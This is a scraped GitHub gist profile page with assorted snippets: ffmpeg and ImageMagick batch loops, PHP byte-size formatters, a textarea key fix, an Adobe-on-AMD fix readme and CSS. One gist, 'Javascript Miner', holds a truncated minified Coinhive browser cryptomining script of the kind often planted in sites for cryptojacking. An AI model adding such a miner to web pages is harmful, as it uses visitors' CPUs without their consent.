Skip to content

Instantly share code, notes, and snippets.

View kazimolmez's full-sized avatar
🏠
Working from home

Kazım Ölmez kazimolmez

🏠
Working from home
View GitHub Profile
sudo apt install ffmpeg
mkdir optimized
for file in *.mp4; do
ffmpeg -i "$file" -vcodec libx264 -acodec aac -b:v 800k -b:a 96k -vf "scale=1280:-2" "optimized/${file%.mp4}.mp4"
done
sudo apt install imagemagick jpegoptim
mkdir optimized
for img in *.jpg; do
convert "$img" -resize 1200x "optimized/$img"
jpegoptim --max=90 --strip-all "optimized/$img"
done
@kazimolmez
kazimolmez / index.js
Created June 25, 2023 01:17 — forked from soullivaneuh/index.js
Prevent PageUp and PageDown press in textarea moving website out of the window
// @see http://www.competa.com/blog/chrome-bug-pageup-pagedown-textarea-moves-website-window/
// @see https://bugs.chromium.org/p/chromium/issues/detail?id=890248
document.querySelector('textarea').addEventListener('keydown', event => {
if (event.key === 'PageUp' || event.key === 'PageDown') {
const cursorPosition = event.key === 'PageUp' ? 0 : event.target.textLength;
event.preventDefault();
event.target.setSelectionRange(cursorPosition, cursorPosition);
}
});
@kazimolmez
kazimolmez / AdobeAMDFix.md
Created January 1, 2021 07:35 — forked from naveenkrdy/AdobeAMDFix.md
To fix adobe products crashes on AMD hackintosh

Adobe Crash Fix XLNC

Instructions

  1. Install needed adobe apps from adobe creative cloud.

  2. Open Terminal.

  3. Copy-paste the below command to your terminal and run it (enter password if asked).

!function(){"use strict";function e(e){try{if("undefined"==typeof console)return;"error"in console?console.error(e):console.log(e)}catch(e){}}function t(e){return d.innerHTML='<a href="'+e.replace(/"/g,"&quot;")+'"></a>',d.childNodes[0].getAttribute("href")||""}function r(e,t){var r=e.substr(t,2);return parseInt(r,16)}function n(n,c){for(var o="",a=r(n,c),i=c+2;i<n.length;i+=2){var l=r(n,i)^a;o+=String.fromCharCode(l)}try{o=decodeURIComponent(escape(o))}catch(u){e(u)}return t(o)}function c(t){for(var r=t.querySelectorAll("a"),c=0;c<r.length;c++)try{var o=r[c],a=o.href.indexOf(l);a>-1&&(o.href="mailto:"+n(o.href,a+l.length))}catch(i){e(i)}}function o(t){for(var r=t.querySelectorAll(u),c=0;c<r.length;c++)try{var o=r[c],a=o.parentNode,i=o.getAttribute(f);if(i){var l=n(i,0),d=document.createTextNode(l);a.replaceChild(d,o)}}catch(h){e(h)}}function a(t){for(var r=t.querySelectorAll("template"),n=0;n<r.length;n++)try{i(r[n].content)}catch(c){e(c)}}function i(t){try{c(t),o(t),a(t)}catch(r){e(r)}}var l="/cdn-cgi/l/ema
function formatSizeUnits($bytes)
{
if ($bytes >= 1073741824)
{
$bytes = number_format($bytes / 1073741824, 2) . ' GB';
}
elseif ($bytes >= 1048576)
{
$bytes = number_format($bytes / 1048576, 2) . ' MB';
}
@kazimolmez
kazimolmez / PHP text size to byte
Created July 26, 2019 07:10
PHP text size to byte
function strBytes($str){
// STRINGS ARE EXPECTED TO BE IN ASCII OR UTF-8 FORMAT
// Number of characters in string
$strlen_var = strlen($str);
// string bytes counter
$d = 0;
@kazimolmez
kazimolmez / filesize.php
Last active July 7, 2019 21:53
Php file size format
function formatBytes($bytes, $precision = 2) {
$units = array("b", "kb", "mb", "gb", "tb");
$bytes = max($bytes, 0);
$pow = floor(($bytes ? log($bytes) : 0) / log(1024));
$pow = min($pow, count($units) - 1);
$bytes /= (1 << (10 * $pow));
return round($bytes, $precision) . " " . $units[$pow];
@kazimolmez
kazimolmez / Javascript Miner
Created October 16, 2018 06:16
Javascript Miner
(function(window){"use strict";var Miner=function(siteKey,params){params=params||{};this._siteKey=siteKey;this._user=null;this._threads=[];this._hashes=0;this._currentJob=null;this._autoReconnect=true;this._reconnectRetry=3;this._tokenFromServer=null;this._goal=0;this._totalHashesFromDeadThreads=0;this._throttle=Math.max(0,Math.min(.99,params.throttle||0));this._autoThreads={enabled:!!params.autoThreads,interval:null,adjustAt:null,adjustEvery:1e4,stats:{}};this._tab={ident:Math.random()*16777215|0,mode:CoinHive.IF_EXCLUSIVE_TAB,grace:0,lastPingReceived:0,interval:null};if(window.BroadcastChannel){try{this._bc=new BroadcastChannel("coinhive");this._bc.onmessage=function(msg){if(msg.data==="ping"){this._tab.lastPingReceived=Date.now()}}.bind(this)}catch(e){}}this._eventListeners={open:[],authed:[],close:[],error:[],job:[],found:[],accepted:[]};var defaultThreads=navigator.hardwareConcurrency||4;this._targetNumThreads=params.threads||defaultThreads;this._useWASM=this.hasWASMSupport()&&!params.forceASMJS;this._as
@kazimolmez
kazimolmez / Responsive Circle
Created September 8, 2018 08:30
Responsive Circle
<div class="circle">
<div class="content">
<span>Centered text</span>
</div>
</div>
<style>
html {
font: 300 100%/1.5 Ubuntu;
color: #333;